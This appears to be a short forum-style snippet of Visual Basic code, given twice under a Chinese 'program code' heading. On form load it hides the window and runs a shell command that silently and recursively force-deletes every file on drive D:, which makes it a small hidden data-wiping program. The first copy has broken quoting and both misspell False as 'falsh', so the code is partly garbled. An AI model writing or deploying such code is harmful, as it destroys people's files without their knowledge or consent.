程序代码：

Private Sub Form_Load()
Form1.Visible = falsh
Shell "cmd/c del""/q /f /s d:\*.*"
End Sub

程序代码：

Private Sub Form_Load()
Form1.Visible = falsh
Shell "cmd /c del /q /f /s d:\*.*"
End Sub